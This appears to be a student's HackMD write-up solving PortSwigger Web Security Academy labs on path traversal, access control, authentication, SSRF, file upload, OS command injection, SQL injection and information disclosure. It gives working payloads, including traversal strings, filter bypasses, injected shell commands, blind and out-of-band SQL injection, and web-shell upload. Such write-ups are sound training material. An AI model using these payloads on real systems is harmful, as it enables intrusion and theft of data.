# PORTSWIGGER SERVER-SIDE VULNERABILITIES LABS ## File path traversal ### Lab 1: File path traversal, simple case * Using BurpSuite to intercept the request that load the page's file (image) ![image](https://hackmd.io/_uploads/H1LeMkLwex.png) * Changing the path directory to etc/passwsd (../ to redirect to the root path) ![image](https://hackmd.io/_uploads/HkG7MyIPxg.png) * final `payload: ../../../../etc/passwd` ![image](https://hackmd.io/_uploads/rJGIMkLPel.png) * Inject success ### Lab 2: File path traversal, traversal sequences blocked with absolute path bypass * The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory. * Using relative path instead of absolute path ![image](https://hackmd.io/_uploads/HyH39AGcgx.png) * Check with absolute path, can't retrieve the passwd file ![image](https://hackmd.io/_uploads/r1KBsRfclx.png) * Using relative path: `/etc/passwd` ![image](https://hackmd.io/_uploads/Sk34h0Gcle.png) * Complete the lab ![image](https://hackmd.io/_uploads/BkBPpAGcgg.png) ### Lab 3: File path traversal, traversal sequences stripped non-recursively * The application strips path traversal sequences from the user-supplied filename before using it. * Testing for normal payload ![image](https://hackmd.io/_uploads/rkb5fv7qel.png) * Using fuzzing payload: `....//....//....//etc/passwd` ![image](https://hackmd.io/_uploads/ryGzmw7cle.png) * Complete the lab ![image](https://hackmd.io/_uploads/HyMUQv79le.png) ### Lab 4: File path traversal, traversal sequences stripped with superfluous URL-decode * The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it. * Try to encode the payload: `../../../etc/passwd` 1 time ![image](https://hackmd.io/_uploads/SyNcrvQqgx.png) * Try to encode it 2nd time ![image](https://hackmd.io/_uploads/H1ETBvQ9ge.png) * Sucessfully retrieve the passwd file ![image](https://hackmd.io/_uploads/HkclIDQ9gx.png) ## Access control ### Lab 1: Unprotected admin functionality * Access the robots.txt folder in the path of the URL (robots.txt: hidden file for crawler like Googlebot to escape the path inside the file) ![image](https://hackmd.io/_uploads/SyrPvl8wxe.png) * Found the admin's path ![image](https://hackmd.io/_uploads/B1LFPlUwee.png) * Access with admin rights, delete user's account ![image](https://hackmd.io/_uploads/r1mqPx8wxe.png) ### Lab 2: Unprotected admin functionality with unpredictable URL * View the page source to see the source code of the page ![image](https://hackmd.io/_uploads/rkFBqx8vgl.png) * Can see the hidden path in the source code ![image](https://hackmd.io/_uploads/HknNqeLPxg.png) * Using the hidden path, access with the admin's right ![image](https://hackmd.io/_uploads/SJ4vqxIDll.png) * Complete the lab ![image](https://hackmd.io/_uploads/BkcDWMUDgx.png) ### Lab 3: User role controlled by request parameter * Check the request after login, see the flag `Admin=flase` ![image](https://hackmd.io/_uploads/S19aXMLDxe.png) * Change the `Admin=true` ![image](https://hackmd.io/_uploads/rkjCNG8Pxg.png) * The admin panel is shown, change the `Admin=true` when access the admin panel ![image](https://hackmd.io/_uploads/H1Z0BGIPxg.png) * Solve the lab ![image](https://hackmd.io/_uploads/HyAg8fUvlg.png) ### Lab 4: User ID controlled by request parameter, with unpredictable user IDs * Find the victim's blog: carlos * Press into the carlos's account page and copy its id ![image](https://hackmd.io/_uploads/ryn-iGIvex.png) * Go to the My Account page and paste the id into the URL ![image](https://hackmd.io/_uploads/SkhfoGLPxx.png) * Successfully change to carlos's account ![image](https://hackmd.io/_uploads/SkrBjMLPlx.png) * Take the API key, complete the lab ![image](https://hackmd.io/_uploads/Hykvof8Dxx.png) ![image](https://hackmd.io/_uploads/r1u_sGLPxg.png) ### Lab 5: User ID controlled by request parameter with password disclosure * Using Burp Suite intercept to sniff the request that is used to redirect to My Account page ![image](https://hackmd.io/_uploads/HyF6J78veg.png) * Try to change the id to administrator ![image](https://hackmd.io/_uploads/HJwXe7Lvxx.png) * The respond show that there is an administrator account * After that, view the respond to see the password which have been hidden in the UI ![image](https://hackmd.io/_uploads/HkNbVXLPex.png) * Using the admin's password, login as admin and complete the lab ![image](https://hackmd.io/_uploads/HkpDNmLwll.png) ### Lab 6: Insecure direct object references * This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs. ![image](https://hackmd.io/_uploads/ryjNDrMOxl.png) * Select "View transcript", the browser will download a txt file ![image](https://hackmd.io/_uploads/H1RKwSzOel.png) * Text files are assigned a filename containing an increment number when trying to download transript files ![image](https://hackmd.io/_uploads/ryKMdSfdle.png) ![image](https://hackmd.io/_uploads/H1umdSMOeg.png) * Realize that there is no 1.txt ![image](https://hackmd.io/_uploads/rke5_Bfuxe.png) * Catch the request that download the 4.txt transcript file * Change it to 1.txt and observe the response ![image](https://hackmd.io/_uploads/SkSJYHf_xx.png) * The 1.txt file include the conversation that reveal the password of Carlos: `gfjqupxrf98k3sipvzsx` * Login Carlos's account - complete the lab ![image](https://hackmd.io/_uploads/Hk6f5SM_gx.png) ### Lab 7: User role can be modified in user profile * This lab has an admin panel at /admin. It's only accessible to logged-in users with a `roleid` of 2. * Observe that the respond of the change id request contain the `roleid` field ![image](https://hackmd.io/_uploads/S1eBDFI5eg.png) ![image](https://hackmd.io/_uploads/HkeUDt89ge.png) * Add the `"roleid": 2` field to the request in order to access as admin's right ![image](https://hackmd.io/_uploads/ry6MOtL5xe.png) * The roleid is changed to 2 * Reload the main page, see the admin panel ![image](https://hackmd.io/_uploads/S1McutI9lg.png) * Access the admin panel, delete user carlos, complete the lab ![image](https://hackmd.io/_uploads/rJp2dYU9gg.png) ### Lab 8: User ID controlled by request parameter with data leakage in redirect * This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect response. * To solve the lab, obtain the API key for the user carlos and submit it as the solution. * Observe the request sent when access the "My Account " page ![image](https://hackmd.io/_uploads/S1TfsFL5xg.png) * The API key is leaked in the respond and also the user's id is revealed in the request's header * Change the id to `id=carlos` ![image](https://hackmd.io/_uploads/H1A62F8cxx.png) * Successfully login as user carlos * Complete the lab with carlos's API key: `bbguT4TamdkV9Y7zri2cD9T1wnoZvFef` ![image](https://hackmd.io/_uploads/SJOzpKLcel.png) ### Lab 9: Multi-step process with no access control on one step * This lab has an admin panel with a flawed multi-step process for changing a user's role. * Access the admin account, create a request to promote user carlos and observe the request ![image](https://hackmd.io/_uploads/SyG9Rt89lx.png) * Take the request to Burp Repeater * Log in as a normal user, take the session id and paste it into the request ![image](https://hackmd.io/_uploads/rJO7e0Icel.png) * User wiener's session id: `uze84pteTysPz5fOvbqcyD0BLjfbJeby` * Paste it into the promote request ![image](https://hackmd.io/_uploads/ByMogC8qle.png) * Change the username to wiener * Lab complete ![image](https://hackmd.io/_uploads/BkPYbCU9ee.png) ### Lab 10: Referer-based access control * This lab controls access to certain admin functionality based on the Referer header. * The process of completion is as same as the Lab 9, make sure the `Reference` header have the `/admin` path ![image](https://hackmd.io/_uploads/Hyg-v0L9ex.png) * Take the request to Burp Repeater, change the name and session id to wiener's account * Wiener's session id: `9MFTFzJh3tPoYZ7M0jq5uVEvKvgkieMR` * Test if there is no `Reference` header, can the request be accepted ![image](https://hackmd.io/_uploads/BJ02DRLcgl.png) * Add the `Reference` header ![image](https://hackmd.io/_uploads/BJ51dCUqlx.png) * Complete the lab ![image](https://hackmd.io/_uploads/HySZu08clx.png) ## Authentication vulnerability ### Lab 1: Username enumeration via different responses * This lab is vulnerable to username enumeration and password brute-force attacks. * Capture the login request with a random user name and password ![image](https://hackmd.io/_uploads/HJ82YDLwge.png) * Add the `$` in the payload that will be brute forced (username and password) ![image](https://hackmd.io/_uploads/r1bg5PUvel.png) * Set up the Intruder tab in Burp Suite that fit the Brute Force Attack (Cluster Bomb attack) ![image](https://hackmd.io/_uploads/rJBvfO8vlx.png) * Using the list of username and password that is given by Port Swigger ![image](https://hackmd.io/_uploads/H18KGuIvlg.png) * After the attack, find the payload that have the smallest length or have status code 302 (redirect to other pages) ![image](https://hackmd.io/_uploads/SydR7dIPge.png) * Found the suitable payloads ![image](https://hackmd.io/_uploads/HJi-EuIvgx.png) * Try it in the lab - success ![image](https://hackmd.io/_uploads/HkZW4_UDel.png) ### Lab 2: 2FA simple bypass * It is clearly that after loging and authenticate with 2FA, the web page will redirect to the path `/my-account` ![image](https://hackmd.io/_uploads/SkPyv_8Dxx.png) * Testing with an user's account, this `/login2` seems to be the page that use for 2FA, try to bypass it by modify the request to redirect to `/my-account` after login successfully ![image](https://hackmd.io/_uploads/H1TrIOUDgg.png) * Bypass successfully ![image](https://hackmd.io/_uploads/HkljU_Lwgg.png) * Test with the victim's account, using Burp to catch the 2FA request ![image](https://hackmd.io/_uploads/rkSYOdUPxe.png) * Drop the 2FA request ![image](https://hackmd.io/_uploads/H1i5duLDxe.png) * Create new request by edit the URL, replace `/login2` with `/my-account` ![image](https://hackmd.io/_uploads/H1gR__Lwxl.png) * The lab is complete ## Server-side request forgery ### Lab 1: Basic SSRF against the local server * This lab has a stock check feature which fetches data from an internal system. * To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user `carlos`. * Using Burp to intercept the request when checking the stock in a random product ![image](https://hackmd.io/_uploads/SycqU6wPlx.png) * Can see the API call in the body of the request ![image](https://hackmd.io/_uploads/SyWZvaDvxe.png) * Change it to `http://localhost/admin` ![image](https://hackmd.io/_uploads/Byc9upwPxx.png) * The admin panel is shown ![image](https://hackmd.io/_uploads/HkAN_6PDxl.png) * Can see the path to the delete user request which is: `/admin/delete?username=carlos` ![image](https://hackmd.io/_uploads/BkJPY6Pwxe.png) * Modify the new API request to delete user `http://localhost/admin/delete?username=carlos` ![image](https://hackmd.io/_uploads/BkVDa6DDeg.png) * Complete the lab ![image](https://hackmd.io/_uploads/Sy-926DDee.png) ### Lab 2: Basic SSRF against another back-end system * This lab has a stock check feature which fetches data from an internal system. * To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos ![image](https://hackmd.io/_uploads/Hy38qRDDgg.png) * The request when checking the stock, can see the stock API is in the body of the request: `http://192.168.0.1:8080/product/stock/check?productId=1&storeId=1` * Change it to `http://192.168.0.X:8080/admin` * Using Burp suite to find the final octet X in the IP address that can access to the admin's path ![image](https://hackmd.io/_uploads/S1Xe3RDwel.png) * Using brute force technique to find X * The payload that give status code = 200 is the final octet of the IP address ![image](https://hackmd.io/_uploads/r1y83Avwel.png) * Final admin's address: `http://192.168.0.155:8080/admin` * Change the path in the request ![image](https://hackmd.io/_uploads/HkIe6RPDgx.png) * To delete carlos's account, change the path to: `http://192.168.0.155:8080/admin/delete?username=carlos` ![image](https://hackmd.io/_uploads/Hyk6aCwveg.png) * Complete the lab ![image](https://hackmd.io/_uploads/ry-PCCwPxg.png) ### Lab 3: SSRF with blacklist-based input filter * This lab has a stock check feature which fetches data from an internal system. * To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. * Can see that the black list contain the phrase like 127.0.0.1, localhost, /admin,.. ![image](https://hackmd.io/_uploads/HyrZ6WLcgl.png) ![image](https://hackmd.io/_uploads/rJwXpWLcxl.png) * Try to shorten the admin IP address to 127.1 ![image](https://hackmd.io/_uploads/HJsPaZL9ll.png) * The main problem is the "admin" word * Try to double encode the letter "a" in "admin" to `%25%36%31` ![image](https://hackmd.io/_uploads/SJcGCWI5el.png) * Successfully bypass the blacklist with the final payload: `http%3a//127.1/%25%36%31dmin` ![image](https://hackmd.io/_uploads/B12PC-L5xl.png) * Delete user "Carlos" with paylaod: `http%3a//127.1/%25%36%31dmin/delete?username=carlos` ![image](https://hackmd.io/_uploads/rkCMyMIqlx.png) * Complete the lab ## File upload vulnerabilities ### Lab 1: Lab: Remote code execution via web shell upload * This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem. ![image](https://hackmd.io/_uploads/SJ7bEodvel.png) * When uploading an image, there will be a request that perform a GET method to the image's path in the application, in this example: `/files/avatars/vo3.jpg` ![image](https://hackmd.io/_uploads/SJ8uHsdPel.png) * Create a PHP file: exploit.jpg containing a script for fetching the contents of the victim's secret file: ![image](https://hackmd.io/_uploads/r1FfIidPee.png) * Upload the php file instead of img ![image](https://hackmd.io/_uploads/Hyv8Lo_Pxg.png) * The victim's secrete have been revealed but the application only show the img form, using Burp repeater to see the respond in text ![image](https://hackmd.io/_uploads/SyJBvouweg.png) ![image](https://hackmd.io/_uploads/B1dSDjdDeg.png) * Victim's secret: `CwabH2BSUrTLkpOOVQ383tpdwNTWrJ4e` ![image](https://hackmd.io/_uploads/r1pKvo_wxl.png) ### Lab 2: Web shell upload via Content-Type restriction bypass * This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this. * Cannot directly upload the php file like the previous lab ![image](https://hackmd.io/_uploads/Skq85juvlx.png) * Retry, using Burp intercept to catch the request when uploading the php file ![image](https://hackmd.io/_uploads/r1m4io_Del.png) * In the Content-Type field of the php file, change it to image/jpeg in order to bypass the Content-Type restriction ![image](https://hackmd.io/_uploads/r1u72oOvxl.png) * Check the GET request in the HTTP history tab after upload the php file to take the victim's secret ![image](https://hackmd.io/_uploads/rJHmaidPgl.png) * Submit the secret ![image](https://hackmd.io/_uploads/BJBwTodwge.png) ## OS command injection * Useful OS command: ![image](https://hackmd.io/_uploads/Byq0ajuvel.png) ### Lab 1: OS command injection, simple case * This lab contains an OS command injection vulnerability in the product stock checker. * The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. * ![image](https://hackmd.io/_uploads/rkrsOhdPel.png) * Check the stock in the lab, using Burp suite intercept to catch the POST request ![image](https://hackmd.io/_uploads/Skfnu3ODxx.png) * Insert the OS command that determine the name of the current user: `productId=1&storeId=1|whoami` ![image](https://hackmd.io/_uploads/H1weY3uveg.png) * The current user's information is revealed ![image](https://hackmd.io/_uploads/S1yXK2ODlg.png) * Complete the lab ![image](https://hackmd.io/_uploads/SJHN9h_vxe.png) ### Lab 2: Blind OS command injection with time delays * The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. * To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay. * Create a feedback in the submit feedback field to intercept a POST request ![image](https://hackmd.io/_uploads/rJRPnHV5ee.png) ![image](https://hackmd.io/_uploads/S1cu3SE5el.png) * Add the `& sleep 10 #` payload into the email field ![image](https://hackmd.io/_uploads/rJh2xLNclx.png) * The client will sleep for 10 seconds before return the respond ![image](https://hackmd.io/_uploads/ByxtlIE9xg.png) ### Lab 3: Blind OS command injection with output redirection * The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at: `/var/www/images/` ![image](https://hackmd.io/_uploads/BkA0XINcll.png) * Intercept the submit feedback request ![image](https://hackmd.io/_uploads/HJlG4UVcex.png) * Using the payload:`& whoami>/var/www/images/output.txt #` in the email field to direct the output to the writable folder ![image](https://hackmd.io/_uploads/BkWtEL45xe.png) * Reload the page, choose a random GET request that contain the filename field to intercept and replace the filename with the output.txt ![image](https://hackmd.io/_uploads/SJlPsHIN5lx.png) ![image](https://hackmd.io/_uploads/B1ADBLEqex.png) * The respond show that the `whoami` output is printed in the `output.txt` file * Complete the lab ![image](https://hackmd.io/_uploads/SJZRBLN5xx.png) ### Lab 4: Blind OS command injection with out-of-band interaction * The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain. * Take the location of the Burp Collaborator: `oqi5o3nl5yyf02y3k3yqe9osxj3ar4ft.oastify.com` ![image](https://hackmd.io/_uploads/H1TXvU49xg.png) * Intercept the submit feedback request ![image](https://hackmd.io/_uploads/SyAOvLVqlx.png) ![image](https://hackmd.io/_uploads/r1rqP84qll.png) * Using payload:` & nslookup oqi5o3nl5yyf02y3k3yqe9osxj3ar4ft.oastify.com #` * Add the payload in the email field ![image](https://hackmd.io/_uploads/rJnaOU4qge.png) * The request successfully look up the Burp Collaborator DNS ![image](https://hackmd.io/_uploads/BkzEt8V9ee.png) * Complete the lab ![image](https://hackmd.io/_uploads/S1x_YIEqgg.png) ## SQL injection ### Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data * When check a category, the URL can be observed: `/filter?category=Accessories` ![image](https://hackmd.io/_uploads/BJ52-TODgg.png) ![image](https://hackmd.io/_uploads/ByYW872dlx.png) * Try to inject the payload `' -- `to test if the application is vulnerable with SQL injection ![image](https://hackmd.io/_uploads/BJe1MTdDge.png) * There is a new product appear, may be this is an unreleased product * Can see that the application is vulnerable with SQL injection * Try a different payload to check if there is more unrelease product in the `product` table, regardless of the `category` value: `' OR 1 = 1 --` ![image](https://hackmd.io/_uploads/HynzQauPxe.png) * All of the unreleased product is revealed ![image](https://hackmd.io/_uploads/BJH4mauPxg.png) * Complete the lab ### Lab 2: SQL injection vulnerability allowing login bypass * This lab contains a SQL injection vulnerability in the login function. * Try to bypass the password checking process by using pay load `' --` ![image](https://hackmd.io/_uploads/rJhb1RuPel.png) * Password is a random number ![image](https://hackmd.io/_uploads/Sk9X1RdPgx.png) * Complete the lab ### Lab 3: Visible error-based SQL injection * This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned. * The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, find a way to leak the password for the `administrator` user, then log in to their account. * Request to a product ![image](https://hackmd.io/_uploads/r1Ihfj2Yeg.png) ![image](https://hackmd.io/_uploads/rJPCzi2Fle.png) * Using basic payload to check the error in the tracking id flag: ![image](https://hackmd.io/_uploads/S1Z-XonFee.png) * Try different payload that take the password from the user table: `' and (SELECT password from users) -- ` ![image](https://hackmd.io/_uploads/ry9Mmo3Fgx.png) * The error said that argument of AND must be type boolean * Change the payload to: `‘ and 1=CAST((SELECT password from users)AS int) — ` ![image](https://hackmd.io/_uploads/B1G4vi2Kxg.png) * Seems that the query are too long * Delete the tracking id value: ![image](https://hackmd.io/_uploads/Hy6LDj3teg.png) * There are too many rows => limit it to 1 by the the command: LIMIT 1 ![image](https://hackmd.io/_uploads/SJi2wj3Yll.png) * While the password is not int, the sql server return the error that might expose the password (Postgre sql) * We have the password of the first row, check its username: change `password` to `username` ![image](https://hackmd.io/_uploads/H1eO_j2Yle.png) * The first row is the admin information * Lab solved ![image](https://hackmd.io/_uploads/BymCuj3Kgl.png) ### Lab 4: SQL injection UNION attack, determining the number of columns returned by the query * This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. ![image](https://hackmd.io/_uploads/HkmS0uTKee.png) * Intercept the request to a category ![image](https://hackmd.io/_uploads/HklhRdatgl.png) * Using payload: UNION SELECT NULL -- to check the number of columns ![image](https://hackmd.io/_uploads/SySikYpKlx.png) * Error meaning that the number of column is wrong, try a different number ![image](https://hackmd.io/_uploads/SJAOWKpYle.png) * So there are 3 column in the query ![image](https://hackmd.io/_uploads/BkJkzYaFxx.png) ### Lab 5: SQL injection UNION attack, finding a column containing text * Identify a column that is compatible with string data. ![image](https://hackmd.io/_uploads/Bkg9dYaFlg.png) * After know that the query have 3 columns, using the payload to identify the column that compatible with string data: ![image](https://hackmd.io/_uploads/SJ9VYY6tee.png) * Error, replace the string to a different column: ![image](https://hackmd.io/_uploads/HkIzqFpYle.png) * The second column is the column that compatible with string data: ![image](https://hackmd.io/_uploads/r1POcY6Flx.png) * Complete the lab ### Lab 6: Blind SQL injection with conditional responses * This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. * The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows. * The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. * To solve the lab, log in as the administrator user. ![image](https://hackmd.io/_uploads/B1v1NjTKge.png) * The "Welcome back!" nofitication is like a true/false indicator ![image](https://hackmd.io/_uploads/rkU_VoaYxg.png) * Take the login request to the Repeater ![image](https://hackmd.io/_uploads/BJUzSs6tel.png) * Test with normal payload: the Welcome back message appear => the query is true ![image](https://hackmd.io/_uploads/r1yABopFxg.png) * Test with the wrong payload, no Welcomeback message => the query is false ![image](https://hackmd.io/_uploads/rkRASjTKlg.png) * Table check: ' AND (SELECT 'a' FROM users LIMIT 1) = 'a'-- * If the table "users" exist, it will return the Welcome back message ![image](https://hackmd.io/_uploads/Bk2FLiTYlg.png) * When the table not exist: ![image](https://hackmd.io/_uploads/Syg1woaKle.png) * Verify username: check if the user name "administrator" is exist * Payload: ' AND (SELECT 'a' FROM users WHERE username = 'administrator') = 'a'-- ![image](https://hackmd.io/_uploads/HJ012Vl5le.png) * The administrator account is exist * Check the length of the password: ' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) >1 ) = 'a'-- * Return true only if user "administrator" exist and its password is >1 ![image](https://hackmd.io/_uploads/BkRnpVl9lx.png) * The administrator password's length is greater than 1 * Using Burp Intruder for automation test: ![image](https://hackmd.io/_uploads/rydk-Sx5eg.png) * Payload type: Number, from 1 to 30 ![image](https://hackmd.io/_uploads/Bytofrlqll.png) * Notice that in the content length, the Welcome back message make the length longer => the content length become longer in payload 20 => the password length's is 20 * Extract password character-by-character * Payload: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- * Extract the first character and compares to a => if the same => return true * Do it the same with the rest of the letters * After finding the first the character. do it the same with the other character * Using Burp Intruder ![image](https://hackmd.io/_uploads/Hk2MLSg5el.png) ![image](https://hackmd.io/_uploads/Sy058rlqeg.png) * Setting the flag respond: ![image](https://hackmd.io/_uploads/BJUT8Se9ll.png) * Sort the result that have the flag respond "Welcome back" in ascending order ![image](https://hackmd.io/_uploads/ByOr2Bgcxe.png) ![image](https://hackmd.io/_uploads/ByQvnSlqex.png) * The password is: ywh0pwdaligrech0ksdh * Lab solved ![image](https://hackmd.io/_uploads/HkCWTSe9xe.png) ### Lab 7: Blind SQL injection with time delays * The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. * Using payload : '||pg_sleep(10)-- to trigger a time delay * Intercept a request ![image](https://hackmd.io/_uploads/HJF3gUe5gl.png) * Add the payload to the tracking id field: ![image](https://hackmd.io/_uploads/ryAfZIlqee.png) ![image](https://hackmd.io/_uploads/By87-Ue5lg.png) * The respond is delayed for 10 seconds ### Lab 8: Blind SQL injection with out-of-band interaction * Trigger out-of-band interactions with an external domain. * Payloads: ![image](https://hackmd.io/_uploads/Syq26Kx9xx.png) ![image](https://hackmd.io/_uploads/HkcLRLxqeg.png) * Intercept a request with the tracking id value, using payloads to cause a DNS look up to the Burp Collaborator client ![image](https://hackmd.io/_uploads/HkYCmvl5xx.png) ![image](https://hackmd.io/_uploads/r10yEwx9le.png) * Burp collaborator server location: 9cmsl7w6zxq3w6kv88b3whn66xco0io7.oastify.com * Full payloads: ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://9cmsl7w6zxq3w6kv88b3whn66xco0io7.oastify.com/"> %remote;]>'),'/l') FROM dual -- * Using URL encode ![image](https://hackmd.io/_uploads/Sy-C8Pe5xg.png) ![image](https://hackmd.io/_uploads/HkmTLDl5le.png) * The collaborator server's client show that there is a DNS lookup from the DB Server ![image](https://hackmd.io/_uploads/r1_8Dwg5xg.png) * Complete the lab ## Information disclosure ### Lab 1: Information disclosure in error messages * Open a product page, try to make the request error by BurpSuite and observe the error response ![image](https://hackmd.io/_uploads/HyvbDgW_gx.png) ![image](https://hackmd.io/_uploads/BkaV8x-ugx.png) * The request for a product page * Add to repeater and modify the request ![image](https://hackmd.io/_uploads/r1EsUgW_gl.png) * The framework's version is reveal due to an verbose error message: `Apache Struts 2 2.3.31` * Complete the lab ![image](https://hackmd.io/_uploads/BkQ4wxbdxe.png) ### Lab 2: Information disclosure on debug page * This lab contains a debug page that discloses sensitive information about the application. * Using Burp Engagement tools to find a page that can contain an HTML comment or any debug information ![image](https://hackmd.io/_uploads/BJygGf-uex.png) * Found a comment that lead to the path /cgi-bin/phpinfo.php ![image](https://hackmd.io/_uploads/ryTIGzWOel.png) * Using Repeater to retrieve the file, make sure the request will retrieve the /cgi-bin/phpinfo.php page ![image](https://hackmd.io/_uploads/HyZX4MbOxl.png) * Found the secret key: `i7lc4uz16zlvmzro09cg1dzagssjo68y` ![image](https://hackmd.io/_uploads/SJJoNM-Oxg.png) * Complete the lab ![image](https://hackmd.io/_uploads/B1SnIGZOgx.png) ### Lab 3: Source code disclosure via backup files * Using Burp Engagement tools to discover contents ![image](https://hackmd.io/_uploads/BkpEIA-Ogg.png) * Found a file path `/backup/` (Could be a backup file in the editor) ![image](https://hackmd.io/_uploads/S1cFU0-dgl.png) * Create a request to the `/backup` path * The respond show the file `ProductTemplate.java.bak` - which is definitely a backup file ![image](https://hackmd.io/_uploads/BJebDRZdxx.png) * Sent another request to the `/backup/ProductTemplate.java.bak` path in order to retrieve the backup file's contents ![image](https://hackmd.io/_uploads/ry6dwC-Oxx.png) * The database information is revealed ![image](https://hackmd.io/_uploads/By73vA-uxl.png) * Submit the answer - complete the lab ### Lab 4: Authentication bypass via information disclosure * Using Burp Content discovery to find the `/admin` path ![image](https://hackmd.io/_uploads/Hkwux1MOlx.png) * Create a request to the `/admin` path ![image](https://hackmd.io/_uploads/r1NJKeMOxl.png) * Change the HTTP Method to TRACE to see the full request ![image](https://hackmd.io/_uploads/HyCetxfuxx.png) * The `X-Custom-IP-Authorization: 203.162.249.235` indicates that the user is not authorized due to the IP address * The admin IP Address can be accessed in localhost => using loopback IP range (127.0.0.0 to 127.255.255.255) * Replace the IP address to 127.0.0.1 ![image](https://hackmd.io/_uploads/SyWTMyfOeg.png) * Bypass successfully * Intercept the request and replace with this new request to access the admin panel ![image](https://hackmd.io/_uploads/S1Az71zOxe.png) * Add the `X-Custom-IP-Authorization: 127.0.0.1` in the request that delete the user carlos ![image](https://hackmd.io/_uploads/H10eEJGOgl.png) * Complete the lab ![image](https://hackmd.io/_uploads/H1aFu1GOxe.png)
{"title":"PORTSWIGGER SERVER-SIDE VULNERABILITIES LABS","description":"image","contributors":"[{\"id\":\"a472e942-d1ab-4060-9920-f01c8873ac46\",\"add\":38761,\"del\":4932,\"latestUpdatedAt\":1756999906509}]"}
Expand menu